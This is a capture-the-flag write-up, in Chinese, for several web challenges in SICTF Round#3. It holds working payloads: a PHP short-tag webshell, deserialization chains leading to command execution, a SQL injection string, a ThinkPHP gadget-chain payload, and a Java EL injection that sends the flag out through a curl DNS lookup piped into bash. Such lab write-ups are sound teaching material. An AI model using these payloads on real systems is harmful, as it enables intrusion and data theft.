SICTF Round#3

100%_upload

文件上传没有难题 (bushi)

连上靶机, 发现 url 为: /index.php?file=upload.php, 猜测为 include

于是我们尝试使用 file:// 协议打一下, 发现 file:///flag 被过滤掉了, 于是我们试着打印以下 Upload 的内容, 采用 base64 的 wrapper

<?php
    if(isset($_FILES['upfile'])){
        $uploaddir = 'uploads/';
        $uploadfile = $uploaddir . basename($_FILES['upfile']['name']);
        $ext = pathinfo($_FILES['upfile']['name'],PATHINFO_EXTENSION);

        $text = file_get_contents($_FILES['upfile']['tmp_name']);


        echo $ext;

        if (!preg_match("/ph.|htaccess/i", $ext)){

            if(preg_match("/<\?php/i", $text)){
                echo "茂夫说:你的文件内容不太对劲哦<br>";
            }
            else{
                move_uploaded_file($_FILES['upfile']['tmp_name'],$uploadfile);
                echo "上传成功<br>路径为:" . $uploadfile . "<br>";
            }
        } 
        else {
            echo "恶意后缀哦<br>";
            
        }
    }
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>上传文件</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            margin: 0;
            padding: 0;
            background-image: url('100.jpg');
            background-size: cover;
            background-position: center;
        }

        .container {
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
        }

        form {
            background-color: rgba(255, 255, 255, 0.8);
            padding: 20px;
            border-radius: 8px;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
        }

        input[type="file"] {
            margin-bottom: 10px;
        }

        input[type="submit"] {
            background-color: #007bff;
            color: #fff;
            padding: 10px 15px;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }

        input[type="submit"]:hover {
            background-color: #0056b3;
        }
    </style>
</head>
<body>
    <div class="container">
        <form action="upload.php" method="POST" enctype="multipart/form-data">
            <p>请不要上传php脚本哈,不然我们可爱的茂夫要生气啦</p>
            <input type="file" name="upfile" value="" />
            <br>
            <input type="submit" name="submit" value="提交" />
        </form>
    </div>
</body>
</html>

发现后端的过滤其实很简单, 文件后缀不为 .ph* | .htaccess (甚至 .ini 都没有被禁用我哭死), 文件中不能包含 <?php

于是我们尝试使用短标签过滤一下, 传入马, 文件名后缀随意

<? eval($_POST[0]);

上传成功通过 index.php 的 include 来用 AntSword 连接, 或者你自己手动打一个 file_get_contents 都可以

Not ju2st unserialize

反序列化没有难题 (bushi)

打开靶机, 我们看到:

<?php

highlight_file(__FILE__);
class start
{
    public $welcome;
    public $you;
    public function __destruct()
    {
        $this->begin0fweb();
    }
    public  function begin0fweb()
    {
        $p='hacker!';
        $this->welcome->you = $p;
    }
}

class SE{
    public $year;
    public function __set($name, $value){
        echo '  Welcome to new year!  ';
        echo($this->year);
    }
}

class CR {
    public $last;
    public $newyear;

    public function __tostring() {

        if (is_array($this->newyear)) {
            echo 'nonono';
            return false;
        }
        if (!preg_match('/worries/i',$this->newyear))
        {
            echo "empty it!";
            return 0;
        }

        if(preg_match('/^.*(worries).*$/',$this->newyear)) {
            echo 'Don\'t be worry';
        } else {
            echo 'Worries doesn\'t exists in the new year  ';
            empty($this->last->worries);
        }
        return false;
    }
}

class ET{

    public function __isset($name)
    {
        foreach ($_GET['get'] as $inject => $rce){
            putenv("{$inject}={$rce}");
        }
        system("echo \"Haven't you get the secret?\"");
    }
}
if(isset($_REQUEST['go'])){
    unserialize(base64_decode($_REQUEST['go']));
}
?>

ET 的命令执行一点点往上走吧

  • ET可以看到需要调用 __isset, 考虑 empty(), 找到 CR->__tostring()
  • 需要调用 __tostring(), 考虑 echo, 找到 SE->set()
  • 需要调用 SE->set(), 找到 start->begin0fweb(), 找到 __destruct, 链子找到

我们再来看看 CR->__tostring() 里面的过滤条件, 发现 /worries/i 那个判断需要其中包含worries, 第二个 /^.*(worries).*$/ 要求不包含 worries, 进行了行匹配但是并没有开启多行匹配 /m, 于是我们使用 \nworries 即可绕过, 最终的反序列化链子如下:

$start = new start();
$se = new SE();
$cr = new CR();
$et = new ET();
$cr->newyear = "\nworries";
$cr->last = $et;
$se->year = $cr;
$start->welcome = $se;
echo base64_encode(serialize($start));

之后就是那个 RCE 了, 通过设置环境变量来导致 RCE, 我们可以参考文章: https://tttang.com/archive/1450/

尝试后打入参数 get[BASH_FUNC_echo%%]=() { ls / ; } (请进行 urlencode)

关注到 /ffffllllllaaaaaaaaaaaaaaaaaaggggg, 于是再提交 get[BASH_FUNC_echo%%]=() { cat /ffffllllllaaaaaaaaaaaaaaaaaaggggg ; } 即可拿到 flag

hacker

注入! 什么?有过滤?

这道题是一个无列名注入

首先我们访问之后, 发现提示 <!--flag在flag表里-->, 同时注入点为 ?username=

我们尝试进行注入, 发现waf了空格和 or, 这就很难办了, 我们查询不了 information_schema 表了, 于是考虑无列名注入

首先我们用 ORDER BY 了解到当前 SELECT 数据有 1 列, 我们利用 select + union select 自定义字段名, 同时空格用 /**/ 过滤一下

参考 H3 师傅的文章: 链接, 注意后面的列名打个单引号!

注入 payload 如下

joe'/**/union/**/select/**/a/**/from/**/(select/**/1,'a'/**/union/**/select/**/*/**/from/**/ctf.flag)x#

EZ_SSRF

打开发现

<?php

function get($url) {
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_HEADER, 0);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    $data = curl_exec($curl);
    curl_close($curl);
    //echo base64_encode($data);
    return $data;
}

class client{
    public $url;
    public $payload;
    public function __construct()
    {
        $url = "http://127.0.0.1/";
        $payload = "system(\"cat /flag\");";
    }
    public function __destruct()
    {
        get($this->url);
    }
}

curl, file:// 协议, 直接打 file:///var/www/html/flag.php

写入

$client = new client();
$client->url = "file:///var/www/html/flag.php";
echo urlencode(serialize($client));

payload: O%3A6%3A%22client%22%3A2%3A%7Bs%3A3%3A%22url%22%3Bs%3A29%3A%22file%3A%2F%2F%2Fvar%2Fwww%2Fhtml%2Fflag.php%22%3Bs%3A7%3A%22payload%22%3BN%3B%7D

Oyst3rPHP

我们拿到题目先用 Yakit 进行一个目录扫描, 发现 www.zip, 下载下来后得到源码

关注到 app/controller/Index.php, 关键代码如下

<?php
namespace app\controller;
use app\BaseController;

class Index extends BaseController
{

    public function index()
    {
        echo "RT,一个很简单的Web,给大家送一点分,再送三只生蚝,过年一起吃生蚝哈";
        echo "<img src='../Oyster.png'"."/>";
        
        
        $payload = base64_decode(@$_POST['payload']);
        $right = @$_GET['left'];
        $left = @$_GET['right'];
        
        $key = (string)@$_POST['key'];
        if($right !== $left && md5($right) == md5($left)){
            
            echo "Congratulations on getting your first oyster";
            echo "<img src='../Oyster1.png'"."/>";

            if(preg_match('/.+?THINKPHP/is', $key)){
                die("Oysters don't want you to eat");
            }
            if(stripos($key, '603THINKPHP') === false){
                die("!!!Oysters don't want you to eat!!!");
            }
            
            echo "WOW!!!Congratulations on getting your second oyster";
            echo "<img src='../Oyster2.png'"."/>";

            unserialize($payload);
            //最后一个生蚝在根目录,而且里面有Flag???咋样去找到它呢???它的名字是什么???
            //在源码的某处注释给出了提示,这就看你是不是真懂Oyst3rphp框架咯!!!
            //小Tips:细狗函数┗|`O′|┛ 嗷~~
        }
    }
}

我们一个一个判断的过, 首先是 MD5 比较, 我们采用 fastcoll 生成一组对应的, 比如我构造出:

/?left=%A65%0DA%0B7m%E7%9B%83%89%88%0E%87%A5%3EZN%84%C9%E3s%D7T%40%B2A9X%C0%0E%FE%3B%04%F8%E8%C0u%F7%10OP%3C%21%E1%D3%B1%7DbLb%A0%BAkUh%00%17%24Wm%F9%88%DBH%F1%1E%15%91F%E8C%A1%1A%04%E31%FF%0E%A2%B2d%8A%29%1Ay%21%15%D5%5B%13%C5%D0%60Y2%01%89%9F%C2%5B%96q%15c%B0%AC%EF%9A%9AW%E8%A9%A4d%B3pO%B9%E7%05%EB%3DD%3C%1C%D0%BF&right=%A65%0DA%0B7m%E7%9B%83%89%88%0E%87%A5%3EZN%84I%E3s%D7T%40%B2A9X%C0%0E%FE%3B%04%F8%E8%C0u%F7%10OP%3C%21%E1S%B2%7DbLb%A0%BAkUh%00%17%24%D7m%F9%88%DBH%F1%1E%15%91F%E8C%A1%1A%04%E31%FF%0E%A2%B2d%8A%A9%1Ay%21%15%D5%5B%13%C5%D0%60Y2%01%89%9F%C2%5B%96q%15c%B0%AC%EF%9A%1AW%E8%A9%A4d%B3pO%B9%E7%05%EB%3D%C4%3C%1C%D0%BF

然后是一个正则+stripos, 这个 stripos 无懈可击, 只有看看正则了, 正则的话我们可以利用回溯攻击来进行, 构造出如下

POST /?left=%A65%0DA%0B7m%E7%9B%83%89%88%0E%87%A5%3EZN%84%C9%E3s%D7T%40%B2A9X%C0%0E%FE%3B%04%F8%E8%C0u%F7%10OP%3C%21%E1%D3%B1%7DbLb%A0%BAkUh%00%17%24Wm%F9%88%DBH%F1%1E%15%91F%E8C%A1%1A%04%E31%FF%0E%A2%B2d%8A%29%1Ay%21%15%D5%5B%13%C5%D0%60Y2%01%89%9F%C2%5B%96q%15c%B0%AC%EF%9A%9AW%E8%A9%A4d%B3pO%B9%E7%05%EB%3DD%3C%1C%D0%BF&right=%A65%0DA%0B7m%E7%9B%83%89%88%0E%87%A5%3EZN%84I%E3s%D7T%40%B2A9X%C0%0E%FE%3B%04%F8%E8%C0u%F7%10OP%3C%21%E1S%B2%7DbLb%A0%BAkUh%00%17%24%D7m%F9%88%DBH%F1%1E%15%91F%E8C%A1%1A%04%E31%FF%0E%A2%B2d%8A%A9%1Ay%21%15%D5%5B%13%C5%D0%60Y2%01%89%9F%C2%5B%96q%15c%B0%AC%EF%9A%1AW%E8%A9%A4d%B3pO%B9%E7%05%EB%3D%C4%3C%1C%D0%BF HTTP/1.1
Host: yuanshen.life:37766
Content-Type: application/x-www-form-urlencoded

key={{nullbyte(1000000)}}603THINKPHP
上面这个使用了 Yakit, 具体含义不言而喻

之后就是反序列化点, 我们从 phpggc 拿一条链子出来, 构造 phpggc ThinkPHP/RCE3 system 'ls /' | base64 -w 0 即可, 再通过 POST 打入得到文件

关注到 /Oyst3333333r.php, 于是打入 phpggc ThinkPHP/RCE3 system 'cat /Oyst3333333r.php' | base64 -w 0

最终 payload 如下

POST /?left=%A65%0DA%0B7m%E7%9B%83%89%88%0E%87%A5%3EZN%84%C9%E3s%D7T%40%B2A9X%C0%0E%FE%3B%04%F8%E8%C0u%F7%10OP%3C%21%E1%D3%B1%7DbLb%A0%BAkUh%00%17%24Wm%F9%88%DBH%F1%1E%15%91F%E8C%A1%1A%04%E31%FF%0E%A2%B2d%8A%29%1Ay%21%15%D5%5B%13%C5%D0%60Y2%01%89%9F%C2%5B%96q%15c%B0%AC%EF%9A%9AW%E8%A9%A4d%B3pO%B9%E7%05%EB%3DD%3C%1C%D0%BF&right=%A65%0DA%0B7m%E7%9B%83%89%88%0E%87%A5%3EZN%84I%E3s%D7T%40%B2A9X%C0%0E%FE%3B%04%F8%E8%C0u%F7%10OP%3C%21%E1S%B2%7DbLb%A0%BAkUh%00%17%24%D7m%F9%88%DBH%F1%1E%15%91F%E8C%A1%1A%04%E31%FF%0E%A2%B2d%8A%A9%1Ay%21%15%D5%5B%13%C5%D0%60Y2%01%89%9F%C2%5B%96q%15c%B0%AC%EF%9A%1AW%E8%A9%A4d%B3pO%B9%E7%05%EB%3D%C4%3C%1C%D0%BF HTTP/1.1
Host: yuanshen.life:37801
Content-Type: application/x-www-form-urlencoded

payload=Tzo0MToiTGVhZ3VlXEZseXN5c3RlbVxDYWNoZWRcU3RvcmFnZVxQc3I2Q2FjaGUiOjM6e3M6NDc6IgBMZWFndWVcRmx5c3lzdGVtXENhY2hlZFxTdG9yYWdlXFBzcjZDYWNoZQBwb29sIjtPOjI2OiJMZWFndWVcRmx5c3lzdGVtXERpcmVjdG9yeSI6Mjp7czoxMzoiACoAZmlsZXN5c3RlbSI7TzoyNjoiTGVhZ3VlXEZseXN5c3RlbVxEaXJlY3RvcnkiOjI6e3M6MTM6IgAqAGZpbGVzeXN0ZW0iO086MTQ6InRoaW5rXFZhbGlkYXRlIjoxOntzOjc6IgAqAHR5cGUiO2E6MTp7czozOiJrZXkiO3M6Njoic3lzdGVtIjt9fXM6NzoiACoAcGF0aCI7czoyMToiY2F0IC9PeXN0MzMzMzMzM3IucGhwIjt9czo3OiIAKgBwYXRoIjtzOjM6ImtleSI7fXM6MTE6IgAqAGF1dG9zYXZlIjtiOjA7czo2OiIAKgBrZXkiO2E6MTp7aTowO3M6ODoiYW55dGhpbmciO319Cg&key={{nullbyte(1000000)}}603THINKPHP

即可

[进阶]elInjection

Java EL 表达式

Jadx 反编译发现

public class TestController {
    @RequestMapping({"/test"})
    @ResponseBody
    public String test(@RequestParam(name = "exp") String exp) {
        ArrayList<String> list = new ArrayList<>();
        list.add("Runtime");
        list.add("exec");
        list.add("invoke");
        list.add("exec");
        list.add("Process");
        list.add("ClassLoader");
        list.add("load");
        list.add("Response");
        list.add("Request");
        list.add("Base64Utils");
        list.add("ReflectUtils");
        list.add("getWriter");
        list.add("Thread");
        list.add("defineClass");
        list.add("bcel");
        list.add("RequestAttributes");
        list.add("File");
        list.add("flag");
        list.add("URL");
        list.add("Command");
        list.add("Inet");
        list.add("System");
        list.add("\\u");
        list.add("\\x");
        list.add("'");
        Iterator<String> it = list.iterator();
        while (it.hasNext()) {
            String s = it.next();
            if (exp.contains(s)) {
                return "No";
            }
        }
        ExpressionFactory expressionFactory = new ExpressionFactoryImpl();
        SimpleContext simpleContext = new SimpleContext();
        ValueExpression valueExpression = expressionFactory.createValueExpression(simpleContext, exp, String.class);
        valueExpression.getValue(simpleContext);
        return exp;
    }
}

这里使用了 EL 表达式, 同时过滤了很多参数, 我们考虑可以拼凑出一个 RCE 出来

由于过滤了很多参数, 我们试着先将其编码再解码, 一般用的是 Base64, 但我用的是 URLDecoder

Payload 如下:

请注意使用了 Yakit Fuzzer 语法
{{url(${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("nashorn").eval("eval(java.net.UR".concat("LDecoder.decode(\"{{url({{p(javascript)}})}}\"))"))})}}

接下来就是 javascript 变量了, 出题人说直接读 /readflag, 同时机器只有 DNS 出网, 于是我们使用 DNSLOG 外带

构造

curl `/readflag`.fagjd.z9z.top

然后处理一下得到

java.lang.Runtime.getRuntime().exec("bash -c {echo,Y3VybCBgL3JlYWRmbGFnYC5mYWdqZC56OXoudG9w}|{base64,-d}|{bash,-i}").getInputStream();

之后拿到 flag

其他 Writeup